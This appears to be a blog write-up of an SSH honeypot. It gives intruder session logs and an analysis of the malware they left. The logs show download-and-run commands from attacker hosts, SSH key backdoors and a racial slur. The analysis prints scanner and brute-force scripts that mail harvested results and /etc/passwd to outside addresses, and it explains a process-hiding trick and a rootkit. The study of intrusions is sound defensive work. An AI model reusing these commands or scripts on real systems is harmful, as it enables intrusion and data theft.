100%[======================================>] 8,772,939    1844K/s  eta 0s  

2011-02-09 00:31:02 (1844 KB/s) - `lib.tgz' saved [8772939/8772939]
server:~# tar zxvf lib.tgz
lib
lib/mech.pid
lib/fuck
lib/j2
lib/v
lib/s
lib/r
lib/__libc_start_main
lib/std
lib/b
lib/bang.txt
lib/j
lib/1
lib/f4
lib/dir
lib/y2kupdate
lib/fwd
lib/x
lib/mech.set
lib/tty
lib/cron.d
lib/h
lib/sl
lib/b2
lib/W2Ksp3.exe
lib/tun.seen
lib/f
lib/h.c
lib/stream
lib/v2
lib/init
server:~# rm -rf lib.tgz
server:~# cd lib
server:/root/lib# ./y2kupdate
unable to open display ":0"
server:/root/lib# ./init
unable to open display ":0"
server:/root/lib# cd
server:~# ls
lib 
server:~# cd /dev
server:/dev# wget freewebtown.com/pacalici/bf.tgz
--2011-02-09 00:32:05--  http://freewebtown.com/pacalici/bf.tgz
Connecting to freewebtown.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 392378 (383K) [application/x-tar]
Saving to: `bf.tgz

100%[======================================>] 392,378      9K/s  eta 39s

2011-02-09 00:32:06 (9 KB/s) - `bf.tgz' saved [392378/392378]
server:/dev# tar zxvf bf.tgz
mc-root
mc-root/go
mc-root/cyc.set
mc-root/cyc.help
mc-root/cyc.levels
mc-root/bash
mc-root/udp.pl
mc-root/stealth
mc-root/randfiles
mc-root/randfiles/randkicks.e
mc-root/randfiles/randaway.e
mc-root/randfiles/randsignoff.e
mc-root/randfiles/randinsult.e
mc-root/randfiles/randversions.e
mc-root/randfiles/randsay.e
mc-root/randfiles/randpickup.e
mc-root/randfiles/randnicks.e
mc-root/cyc.acc
mc-root/pico.tgz
mc-root/pico
mc-root/cyc.pid
server:/dev# rm -rf bf.tgz
server:/dev# 
server:/dev# cd mc-root
server:/dev/mc-root# ./go
unable to open display ":0"
server:/dev/mc-root# ls
go         cyc.set    cyc.help   cyc.levels bash       udp.pl     stealth    
randfiles  cyc.acc    pico.tgz   pico       cyc.pid    
server:/dev/mc-root# cd
server:~# 
server:~# 
server:~# wget pibo.com/.x/scan/wtf.tar
--2011-02-09 00:35:09--  http://pibo.com/.x/scan/wtf.tar
Connecting to pibo.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1574103 (1M) [application/x-tar]
Saving to: `wtf.tar

100%[======================================>] 1,574,103    299K/s  eta 1s   

2011-02-09 00:35:13 (299 KB/s) - `wtf.tar' saved [1574103/1574103]
server:~# tar xzvf wtf.tar
wtf
wtf/a
wtf/a1
wtf/auto
wtf/common
wtf/gen-pass.sh
wtf/go.sh
wtf/pass_file
wtf/pscan2
wtf/scam
wtf/sh
wtf/ss
wtf/ssh-scan
wtf/start
wtf/vuln.txt
server:~# cd wtf
server:/root/wtf# chmod +x *
server:/root/wtf# ./a 100
error while loading shared libraries: libgnome.so.32: cannot open shared object file: No such file or directory
server:/root/wtf#

Seventh example

Not only is this intruder very offensive, he also quickly spotted the honeypot.

server:~# adduser nigger
Adding user `nigger' ...
Adding new group `nigger' (1001) ...
Adding new user `nigger' (1001) with group `nigger' ...
Creating home directory `/home/nigger' ...
Copying files from `/etc/skel' ...
Password: 
Password again: 

Changing the user information for nigger
Enter the new value, or press ENTER for the default
        Username []: 
Must enter a value!
        Username []: only
        Full Name []: dumb
        Room Number []: niggers
        Work Phone []: use
        Home Phone []: honeypot
        Mobile Phone []: you
        Country []: stupid
        City []: nigger
        Language []: HA
        Favorite movie []: HA
        Other []: HA
Is the information correct? [Y/n] y
ERROR: Some of the information you entered is invalid
Deleting user `nigger' ...
Deleting group `nigger' (1001) ...
Deleting home directory `/home/nigger' ...
Try again? [Y/n] n

Eight example

This guy tried adding his SSH keys and installing software again and again and was one of the most persistent intruders.

server:~# cd
server:~# ls -a
.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   
server:~# cd /root
server:~# ls -a
.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   
server:~# cd ..
server:/# ls -a
.          ..         sys        bin        mnt        media      vmlinuz    
opt        cdrom      selinux    tmp        proc       sbin       etc        
dev        srv        initrd.img lib        home       var        usr        
boot       root       lost+found 
server:/# cd
server:~# ls -a
.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   
server:~# mkdir .ssh
server:~# cd .ssh
server:/root/.ssh# ls -a
server:/root/.ssh# echo ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 >> ~/.ssh/authorized_keys
server:/root/.ssh# ls  -a
server:/root/.ssh# dir
bash: dir: command not found
server:/root/.ssh# ls -a
server:/root/.ssh# cd ..
server:~# ls -a
.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   .ssh      
server:~# rm -rf .ssh
server:~# cd .root
bash: cd: .root: No such file or directory
server:~# cd /root
server:~# ls -a
.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   
server:~# mkdir .ssh
server:~# cd .ssh
server:/root/.ssh# echo ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 >> ~/.ssh/authorized_keys
server:/root/.ssh# cd ..
server:~# ls -a
.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   .ssh      
server:~# rm -rf .ssh
server:~# cd ..
server:/# ls -a
.          ..         sys        bin        mnt        media      vmlinuz    
opt        cdrom      selinux    tmp        proc       sbin       etc        
dev        srv        initrd.img lib        home       var        usr        
boot       root       lost+found 
server:/# cd home
server:/home# ls -a
.       ..      richard 
server:/home# cd ..
server:/# ls -a
.          ..         sys        bin        mnt        media      vmlinuz    
opt        cdrom      selinux    tmp        proc       sbin       etc        
dev        srv        initrd.img lib        home       var        usr        
boot       root       lost+found 
server:/# mkdir .ssh
server:/# cd .ssh
server:/.ssh# echo ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 >> ~/.ssh/authorized_keys
server:/.ssh# cd ..
server:/# ;s =a
bash: s: command not found
server:/# 
server:/# ls -a
.          ..         sys        bin        mnt        media      vmlinuz    
opt        cdrom      selinux    tmp        proc       sbin       etc        
dev        srv        initrd.img lib        home       var        usr        
boot       root       lost+found .ssh       
server:/# rm -rf .ssh
server:/# cd
server:~# cd /tmp
server:/tmp# ls -a
.         ..        .ICE-unix .X11-unix 
server:/tmp# mkdir ,
server:/tmp# cd ,
server:/tmp/,# wget http://pinky.clan.su/mech/fast.jpg ;  tar fast.jpg
--2011-03-02 21:07:41--  http://pinky.clan.su/mech/fast.jpg
Connecting to pinky.clan.su:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 821334 (802K) [image/jpeg]
Saving to: `fast.jpg

100%[======================================>] 821,334      113K/s  eta 0s  

2011-03-02 21:07:49 (113 KB/s) - `fast.jpg' saved [821334/821334]
tar: You must specify one of the `-Acdtrux' options
Try `tar --help' or `tar --usage' for more information.
server:/tmp/,# tar zxvf fast.jpg
fast
fast/src
fast/src/xmech.o
fast/src/xmech.c
fast/src/vars.o
fast/src/vars.c
fast/src/userlist.o
fast/src/userlist.c
fast/src/usage.h
fast/src/text.h
fast/src/structs.h
fast/src/socket.o
fast/src/socket.c
fast/src/parse.o
fast/src/parse.c
fast/src/mcmd.h
fast/src/Makefile.in
fast/src/Makefile
fast/src/main.o
fast/src/main.c
fast/src/link.o
fast/src/link.c
fast/src/h.h
fast/src/global.h
fast/src/gencmd.c
fast/src/gencmd
fast/src/function.o
fast/src/function.c
fast/src/defines.h
fast/src/debug.o
fast/src/debug.c
fast/src/dcc.o
fast/src/dcc.c
fast/src/config.h.in
fast/src/config.h
fast/src/commands.o
fast/src/commands.c
fast/src/combot.o
fast/src/combot.c
fast/src/com-ons.o
fast/src/com-ons.c
fast/src/channel.o
fast/src/channel.c
fast/src/cfgfile.o
fast/src/cfgfile.c
fast/r
fast/r/rversions.e
fast/r/rtsay.e
fast/r/rsignoff.e
fast/r/rsay.e
fast/r/rpickup.e
fast/r/rnicks.e
fast/r/rkicks.e
fast/r/rinsult.e
fast/r/raway.e
fast/mkindex
fast/Makefile
fast/m.set
fast/m.help
fast/LinkEvents
fast/go
fast/genuser
fast/configure
fast/checkmech
fast/bash
fast/3.user
fast/2.user
fast/1.user
fast/configure.c
server:/tmp/,# cd fast
server:/tmp/,/fast# ls -a
.           ..          src         r           mkindex     Makefile    
m.set       m.help      LinkEvents  go          genuser     configure   
checkmech   bash        3.user      2.user      1.user      configure.c 
server:/tmp/,/fast# vi 1.user
E558: Terminal entry not found in terminfo
server:/tmp/,/fast# pico 1.user
bash: pico: command not found
server:/tmp/,/fast# apt-get  install pico
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  pico 
0 upgraded, 1 newly installed, 0 to remove and 259 not upgraded.
Need to get 158.2kB of archives.
After this operation, 347.6kB of additional disk space will be used.
Get:1 http://ftp.debian.org stable/main pico 1.15-7 [158.2kB]
Fetched 158.2kB in 1s (4493B/s)
Reading package fields... Done
Reading package status... Done
(Reading database ... 177887 files and directories currently installed.)
Unpacking pico (from .../archives/pico_1.15-7_i386.deb) ...
Processing triggers for man-db ...
Setting up pico (1.15-7) ...
server:/tmp/,/fast# pico 1.user
pico: Segmentation fault
server:/tmp/,/fast# ./pico 1.user
bash: ./pico: command not found
server:/tmp/,/fast# wget pinky.clan.su/altele/pico.jpg
--2011-03-02 21:09:32--  http://pinky.clan.su/altele/pico.jpg
Connecting to pinky.clan.su:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 84478 (82K) [image/jpeg]
Saving to: `pico.jpg

100%[======================================>] 84,478       27K/s  eta 1s

2011-03-02 21:09:34 (27 KB/s) - `pico.jpg' saved [84478/84478]
server:/tmp/,/fast# tar zxvf pico.jpg
pico
server:/tmp/,/fast# ./pico 1.user
Shall we play a game? 
A strange game. The only winning move is not to play.  How about a nice game of chess?
server:/tmp/,/fast# ./pico 1.user
Shall we play a game? y
A strange game. The only winning move is not to play.  How about a nice game of chess?
server:/tmp/,/fast# 
server:/tmp/,/fast# ls -a
.           ..          src         r           mkindex     Makefile    
m.set       m.help      LinkEvents  go          genuser     configure   
checkmech   bash        3.user      2.user      1.user      configure.c 
pico.jpg    pico        
server:/tmp/,/fast# apt-get install vi
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  vi 
0 upgraded, 1 newly installed, 0 to remove and 259 not upgraded.
Need to get 442.2kB of archives.
After this operation, 972.4kB of additional disk space will be used.
Get:1 http://ftp.debian.org stable/main vi 0.12-1 [442.2kB]
Fetched 442.2kB in 1s (4493B/s)
Reading package fields... Done
Reading package status... Done
(Reading database ... 177887 files and directories currently installed.)
Unpacking vi (from .../archives/vi_0.12-1_i386.deb) ...
Processing triggers for man-db ...
Setting up vi (0.12-1) ...
server:/tmp/,/fast# vi 1.user
E558: Terminal entry not found in terminfo
server:/tmp/,/fast# 
server:/tmp/,/fast# wget http://root-arhive.do.am/scanner/goshNEW.jpg  ; tar zxvf goshNEW.jpg ; cd goshNEW ; chmod +x *
server:/tmp/,/fast# cd ..
server:/tmp/,# ls -a
.        ..       fast.jpg fast     
server:/tmp/,# wget http://root-arhive.do.am/scanner/goshNEW.jpg  ; tar zxvf goshNEW.jpg ; cd goshNEW ; chmod +x *
--2011-03-02 21:11:59--  http://root-arhive.do.am/scanner/goshNEW.jpg
Connecting to root-arhive.do.am:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3144067 (2M) [image/jpeg]
Saving to: `goshNEW.jpg

100%[======================================>] 3,144,067    759K/s  eta 0s   

2011-03-02 21:12:03 (759 KB/s) - `goshNEW.jpg' saved [3144067/3144067]
goshNEW
goshNEW/a
goshNEW/userrootmic.txt
goshNEW/gen-pass.h
goshNEW/mass
goshNEW/2
goshNEW/ss
goshNEW/pscan2
goshNEW/secure
goshNEW/ssh-scan
goshNEW/sortateusr.txt
goshNEW/CITESTE-INAINTE-SA-INCEPI
goshNEW/vuln.txt
goshNEW/common
goshNEW/1
goshNEW/gen-pass.sh
goshNEW/go.shB
goshNEW/pass_file
goshNEW/5
goshNEW/userroomare.txt
goshNEW/3
goshNEW/mfu.txt
goshNEW/4
goshNEW/screen
goshNEW/go.shA
server:/tmp/,/goshNEW# screen
bash: screen: command not found
server:/tmp/,/goshNEW# ./screen
Shall we play a game? 
A strange game. The only winning move is not to play.  How about a nice game of chess?
server:/tmp/,/goshNEW# 
server:/tmp/,/goshNEW# apt-get install screen
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  tmpgoshNEWscreen 
0 upgraded, 1 newly installed, 0 to remove and 259 not upgraded.
Need to get 774.2kB of archives.
After this operation, 1702.8kB of additional disk space will be used.
Get:1 http://ftp.debian.org stable/main tmpgoshNEWscreen 0.19-7 [774.2kB]
Fetched 774.2kB in 1s (4493B/s)
Reading package fields... Done
Reading package status... Done
(Reading database ... 177887 files and directories currently installed.)
Unpacking tmpgoshNEWscreen (from .../archives/tmpgoshNEWscreen_0.19-7_i386.deb) ...
Processing triggers for man-db ...
Setting up tmpgoshNEWscreen (0.19-7) ...
server:/tmp/,/goshNEW# screen

Malware analysis

Kippo also provides another handy function: it stores any downloaded files. This allows us to further analyse some of the malware used by the intruders.

File http___fiunic_eu_pub.tgz

An archive containing what looks like source code for an SSH server.

File http___pinky_clan_su_mech_fast.tgz

This archive contains an IRC bot. configure.c shows:

#############CONF###################################
my $hidden = '/usr/sbin/apache/log';
my $linas_max='4';
my $sleep='5';
my @admins=("Senil","Dereglat");
my @hostauth=("Senil.users.quakenet.org","Dereglat.users.quakenet.org");
my @channels=("#anyone312");
my $nick='bombon';
my $ircname ='furt';
my $realname = 'pe fatza';
my $server='multiplay.uk.quakenet.org';
my $port='6667';
####################################################

Joining the channel on Quakenet reveals nothing.

The archive also contains an executable called bash. This is a compiled EnergyMech IRC bot. The source code is also included in the archive, together with configuration:

SERVER diemen.nl.eu.undernet.org 6667
SERVER London2.UK.EU.Undernet.Org 6667
SERVER 62.231.74.10 6667
SERVER lelystad.nl.eu.undernet.org 6667
SERVER mesa.az.us.undernet.org 6667
SERVER Zagreb.Hr.EU.UnderNet.org 6667
SERVER Helsinki.FI.EU.Undernet.org 6667
SERVER Carouge.CH.EU.Undernet.org 6667
SERVER us.undernet.org 6667
SERVER oslo2.no.eu.undernet.org 6667
ENTITY x

###BOT 1###
NICK Red-hack1
USERFILE 1.user
CMDCHAR .
LOGIN rosu
IRCNAME  4®  12Welcome  3in  14My  4World 13!!!  7®  
MODES +ix-ws
HASONOTICE
TOG CC          1
TOG CLOAK       1
TOG SPY         1
SET OPMODES     6
SET BANMODES    6
CHANNEL         #canalul-tau
TOG PUB         1
TOG MASS        1
TOG SHIT        1
TOG PROT        1
TOG ENFM        0
SET MKL         7
SET MBL         7
SET MPL         1

Also here, joining the channel does nothing.

The archive also contains a shell script, used to check if the bot is still running and to restart it:

#! /bin/sh
RUN=./bash
OPT=
OUTPUT=./mech.cron
if [ -r mech.pid ]; then
  PID=`cat mech.pid`
  if [ -r /proc/$PID ]; then
    exit 0
  fi
  if ( kill -0 $PID 1> /dev/null 2> /dev/null ); then
    exit 0
  fi
fi
echo >> $OUTPUT
echo "Mech restarted:" >> $OUTPUT
( date 2>&1 ) >> $OUTPUT
echo >> $OUTPUT
( $RUN $OPT 2>&1 ) >> $OUTPUT95

Shell scripts like these are often put in crontabs.

File http___arhiva_do_am_scan.tar

This archive contains the often repacked pscan and ssh-scan tools. A shell script called start contains:

#/bin/bash
# start.sh script
# part of ssh massrooter by pulea
# /j #r.o.o.t pt intrebari :)

if [ $# != 1 ]; then
        echo "[+] pulea zice :"
sleep 3
        echo "[+] sa-mi bag pula in creierii tai !"
        echo "[+] ex. : $0 <b class>"
        exit;
fi

clear
cat a1
if [ -f a4 ]; then
echo "[+] Checking files.."
sleep 3
echo " OK"
perl sshc.c

./a $1.0
./a $1.1
./a $1.2
./a $1.3
./a $1.4
./a $1.5
./a $1.6
./a $1.7
./a $1.8
./a $1.9
./a $1.10
./a $1.11
./a $1.12
./a $1.13
./a $1.14
./a $1.15
./a $1.16
./a $1.17
./a $1.18
./a $1.19
./a $1.20
cat vuln.txt |mail -s "vuln.txt" luchian8@gmail.com

#SNIP

rm -rf sshc.c
killall -9 a 
killall -9 a
killall -9 pscan2
if [ "$(whoami)" != "root" ]; then
./sshf
else
./sshf0
fi
clear
echo "[+] momentul adevarului :)"
echo "[+] ne odihnim cateva secunde .."
sleep 5
echo ""
cat vuln.txt
cat vuln.txt >> .vulnold.txt
echo > vuln.txt
cat a6 >> vuln.txt
else
echo "[+] Checking files.."
sleep 3
echo " error"
echo "[+] Some file are missing"
echo "[+] Please reinistall it from your wget"
echo "[+] or ask pulea !"

I wonder who this luchian8@gmail.com is... Anyway, a is another shell script running:

#!/bin/bash

./pscan2 $1 22 
sleep 5
cat $1.pscan.22 |sort |uniq > mfu.txt
oopsnr2=`grep -c . mfu.txt`
echo ""
echo "[+] Attacking $oopsnr2 servers!"
echo ""
perl sshc.c
rm -rf sshc.c
./pass_sh
./ssh-scan 100
rm -rf $1.pscan.22 mfu.txt
echo ""

pscan is a basic port scanner for an IP block. ssh-scan is a password brute forcer. Other files just contain some dubious ascii art:

 __^__                                                              __^__
( ___ )------------------------------------------------------------( ___ )
 | / |               #help-bnc present`s:                           | \ |
 | / |       OmAr'z ssh massrooter build on 11-01-2006              | \ |
 | / |                                                              | \ |
 | / |                  Thanks to :  OmAr                           | \ |
 | / |                 and to all #OmAr members.                    | \ |
 | / |                                                              | \ |
 | / |    Fucks goes to : all hackers, we are script kiddies..      | \ |
 | / |                    so what ? fuck off !                      | \ |
 | / |                                                              | \ |
 | / |                      EOF by OmAr                             | \ |
 | / |--------------------------------------------------------------| \ |
 |___|______________[OmAr'z ssh massrooter by OmAr]_________________|___|
(_____)------------------------------------------------------------(_____)
   ^                                                                  ^

File http___gblteam_webs_com_gosh.tgz.tar

Another repackaging of the pscan-ssh-scan combination. This one contains a script called secure:

#!/bin/bash
if [ `whoami` == "root" ]; then
chmod -x /usr/bin/mail
mv /usr/bin/mail /usr/bin/s8
echo " Done , You can scan now "
else
echo -e " you're not root you're `whoami` with id `id` !! "
fi

... because disabling mail totally hides your tracks, yo.

The script scam contains a variation of the script seen above:

#!/bin/bash

echo "[+] [+] [+] RK [+] [+] [+]" >> info2
echo "[+] [+] [+] IP [+] [+] [+]" >> info2
/sbin/ifconfig -a >> info2
echo "[+] [+] [+] uptime [+] [+] [+]" >> info2
uptime >> info2
echo "[+] [+] [+] uname -a [+] [+] [+]" >> info2
uname -a >> info2
echo "[+] [+] [+] /etc/issue [+] [+] [+]" >> info2
cat /etc/issue >> info2
echo "[+] [+] [+] passwd [+] [+] [+]" >> info2
cat /etc/passwd >> info2
echo "[+] [+] [+] id [+] [+] [+]" >> info2
id >> info2
echo "[+] [+] [+] Spatiu Hdd / pwd [+] [+] [+]" >> info2
df -h >> info2
pwd >> info2
cat info2 | mail -s "Scanner MaLa Port : ?? | Pass : stii tu :))" mafia89tm@yahoo.com
rm -rf info2
clear

echo "####################################################################" 
echo "#                          ______                                  "
echo "#                        .-.      .-.                               "
echo "#                       /            \                              "
echo "#                      |     zRR      |                             " 
echo "#                      |,  .-.  .-.  ,|                             "  
echo "#                      | )(z_/  \z_)( |                             " 
echo "#                      |/     /\     \|                             " 
echo "#              _       (_     ^^     _)                             " 
echo "#      _\ ____) \_______\__|IIIIII|__/_________________________     " 
echo "#     (_)[___]{}<________|-\IIIIII/-|__zRR__zRR__zRR___________\    " 
echo "#       /     )_/        \          /                               " 
echo "#                         \ ______ /                              "
echo "#                         SCANER PRIVAT                             " 
echo "#             SCANER FOLOSIT DOAR DE TEAMUL MaLaSorTe               "
echo "#            SACNERUL CONTINE UN PASS_FLIE DE 3MEGA !!              " 
echo "####################################################################"

if [ -f a ]; then
cat vuln.txt |mail -s "Lame Gang Us Roots" mafia89tm@yahoo.com
./a $1.0
./a $1.1
./a $1.2
./a $1.3
./a $1.4
./a $1.5
./a $1.6
./a $1.7
./a $1.8
./a $1.9
./a $1.10
cat vuln.txt |mail -s "Lame Gang Us Roots" mafia89tm@yahoo.com
# SNIP
killall -9 a
else 
echo # Ciudat ..Nu Ai Urmat Instructiunile  #
echo # trebui dat mv assh a sau mv scan a   #
echo # orice ai avea tu ... dohh ..         #
killall -9 a
killall -9 pscan2
fi

... because writing a for-loop is too hard. I wonder who mafia89tm@yahoo.com is. Also, if you disable mail, how does mail work, exactly?

File: http___no_biju_com_merge_Arhive_devilflood.tar.gz

A package containing executables, probably used to DoS servers. TCP, UDP, IRC and SMTP flooders are present. There is a list of IP addresses in a txt file, probably targets.

There are also a few configuration files with Undernet IRC channels, but joining them reveals no users.

File http___www_freewebs_com_iulianshooter_psyBNC2_3_2_4.tgz.tar.gz

This is PsyBNC:

psyBNC is an easy-to-use, multi-user, permanent IRC-Bouncer with many features. Some of its features include symmetric ciphering of talk and connections (Blowfish and IDEA), the possibility of linking multiple bouncers to an internal network including a shared partyline, vhost- and relay support to connected bouncers and an extensive online help system. Many other helpful functions are included. It compiles on Linux, FreeBSD, SunOs and Solaris.

File http___eu_ro_ca_img.tar

Another package containing pscan. There's also an IRC bot present:

echo "SERVER 82.196.213.250 6666" >> m.set
echo "SERVER 208.83.20.130 6667" >> m.set
echo "SERVER 195.197.175.21 6669" >> m.set


echo "ENTITY $2" >> m.set

echo "### BOT 1 ###" >> m.set
echo "NICK ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "USERFILE $2.user" >> m.set
echo "CMDCHAR ." >> m.set
echo "LOGIN ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "IRCNAME ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "MODES +iwsx" >> m.set
echo "HASONOTICE" >> m.set
echo "VIRTUAL $2" >> m.set
echo "TOG CC          1" >> m.set
echo "TOG CLOAK       1" >> m.set
echo "TOG SPY         1" >> m.set
echo "SET OPMODES     6" >> m.set
echo "SET BANMODES    6" >> m.set
echo "CHANNEL         #$1 " >> m.set
echo "TOG PUB         1" >> m.set
echo "TOG MASS        1" >> m.set
echo "TOG SHIT        1" >> m.set
echo "TOG PROT        1" >> m.set
echo "TOG ENFM        0" >> m.set
echo "SET MKL         7" >> m.set
echo "SET MBL         7" >> m.set
echo "SET MPL         1" >> m.set

Looking at the intercepted logs (see above) reveals the used channels. Joining this channel leads you to an active community of rooters selling shells on hacked servers.

File http___freewebtown_com_pacalici_lib.tgz

Again an IRC bot, together with a shell script checking if the bot is running called y2kupdate (nice try). There's also source code for a hider program:

/*

psf -- Process Stack Faker (a.k.a. Fucker)
Coded by Stas; (C)opyLeft by SysD Destructive Labs, 1997-2003

Tested on: FreeBSD 4.3, Linux 2.4, NetBSD 1.5, Solaris 2.7

Compile with:
# gcc -O2 -o h h.c
# strip h

Did you ever need to *hide* what are you doing on somewhat like public
server? Like Quake server or maybe John The Ripper? 'Cos when your admin
run "ps auwx" or "top" and sees process like that, it's probable you'll
loose your shell on that server. So, what to do? Rootkit is a good solution
but you need root privilegies to install it and it's a bit overkill for
running an inoffensive eggdrop bot (belive me, I saw user installing rootkit
just to hide eggdrop!). Well, this little proggie does a job for you. It
*will not* erase some entry you wish to hide from process stack. It just
changes a commandline for "ps" entry ;)
This principle is widely used in many security-related programs. Nmap was
the first I saw. How does this technique works? Take a look at execv(3)
system call:

int execv( const char *path, char *const argv[]);

'path' is a path to executable file. And 'argv' array is... Well, it's
just the same 'argv' from:

int main(int argc, char *argv[])

where 'argv[0]' is a commandline and 'argv[1]' and higher are paramenters.
Normally 'argv[0]' receives the same value as 'path' from execv(3). But you
also can use other values! For example, when you run Nmap, it can execv(3)
itself with commandline changed to 'pine'. OK, commandline is gone. But what
to do with paramenters? Nmap uses environment to send paramenters user passed
to 'spoofed' process and ignores other paramenters. If you wish to spoof
'nmap -sS -vv -O -P0 -o lhost.log localhost' as 'pine -i', Nmap "remembers"
it's specific switches and re-execs itself as 'pine' with parameter '-i'.
Fine! But John The Ripper, Quake server & eggdrop can't fake parameters in
this way!!! What's the other way? Sorry, it's *very* dumb and *very* ugly...
What happens if you change commandline to something like:
'pine -i                                                            '
(Ya, 'pine -i' plus many space characters 0x20)? Hahah, "ps", "top" & many
other monitors just shift away *real* parameters! So, you don't hide them,
just shift away from screen. Such a "algorithm" doesn't needs neither rootkits,
neither special privilegies! Any user can do that at any time!!! *That's* "psf"
does. Try this:

# psf -s "pine -i" sleep 30 &
[1] 440
# ps auwx
...
stas        84  0.0  0.6  2012 1232 pts/0    S    19:12   0:00 bash -rcfile .bashrc
stas       440  0.0  0.1  1204  376 tty2     S    20:09   0:00 pine -i

stas       450  0.0  0.4  2544  816 tty2     R    20:12   0:00 ps auwx
...

Hahahaah, that's what we need! Please note that commandline change isn't
immediate, just wait a little before it completes. But... Did you noticed
a white line between processes 440 & 450? Uhm, that's our "shift buffer".
Pray for your admin don't notice that! Anyway, they are many more problems
with parameter shifting. "top" program, for example, shows "command names"
instead of "command lines" by default. You see a file name instead of
'argv[0]' value. "psf" tries to fix that creating symlink with name of
faked commandline to real program (on previous example, it creates symlink
/tmp/.psf-xxxx/pine => /usr/bin/sleep). Note that it doesn't works on *BSD
systems (*BSD kernel (?) follows symlink and shows real filename anyway).
The ways to discover faked processes I know are:

 * kidding with top(1)
 * ps auwx --cols 1024
 * cat /proc/[pidn]/cmdline (Linux only)
 * whatever non-standart process stack monitors
 * looking open files with "lsof" program
 * if you use -d (daemonize) option, be careful!!! As any cool daemon should
   do, "psf" closes std(in,out,err). What your admin will think if he (she)
   sees "pine -i" with no parent and neither allocated TTY?!

Too many, don't you think? So, what's *THE BEST* way to hide processes?
Rootkit sounds well, but it's a bit complex to use, you know... So, IMHO,
you must get source of program you wish to hide and hardcode all parameters
inside executable... After that, rename it in whatever and let it go!
Of course you must program at least C/C++ to do such a trick. Now, if
you're glad with my quick & dirty solution called "psf", happy faking!!!

*/

Deviously simple. Adding spaces. There's also a configuration file present leading to a lonely IRC server:

NICK          Sex
USERFILE      1
CMDCHAR       !
LOGIN          tun
IRCNAME       Nelu 
MODES         +ix-ws
TOG CC        0
TOG CLOAK     1
TOG SPY       1
SET OPMODES   4
SET BANMODES  6
SET AAWAY     1
TOG NOIDLE    1

CHANNEL       #brasov
TOG PUB       1
TOG MASS      1
TOG SHIT      1
TOG PROT      1
TOG ENFM      1
SET ENFM      +nt
SET MDL       4
SET MKL       4
SET MBL       4
SET MPL       1


SERVER 200.41.53.1 6667
SERVER chmod.myftp.biz 6667

Joining the channel also reveals a small hacker community using EnergyMechs on hacked servers to DoS Russion web hosts.

File http___ema_ucoz_com_ICE_UNIX.tgz

Again a IRC bot leading to an obscure channel on Undernet. I have not repeated the config here.

Archive containing .sshd

A more unique malware script this time. Containing the shv5-rootkit rootkit, which is, according to the file, "very private", but dates back to 2007, so it's probably an old version. The tools first checks for Tripwire, Snort, and other tools. It then continues to install itself into various directories. And starts to install backdoors into various programs (ls, top, ...). It then checks for some basic vulnerable daemons, and warns that you should patch them (oh the irony). It finally also checks for other rootkits (tk7, tk8, beX2, tuxkit, optickit) and tries to remove those. It then tries to cover its tracks by clearing log files.

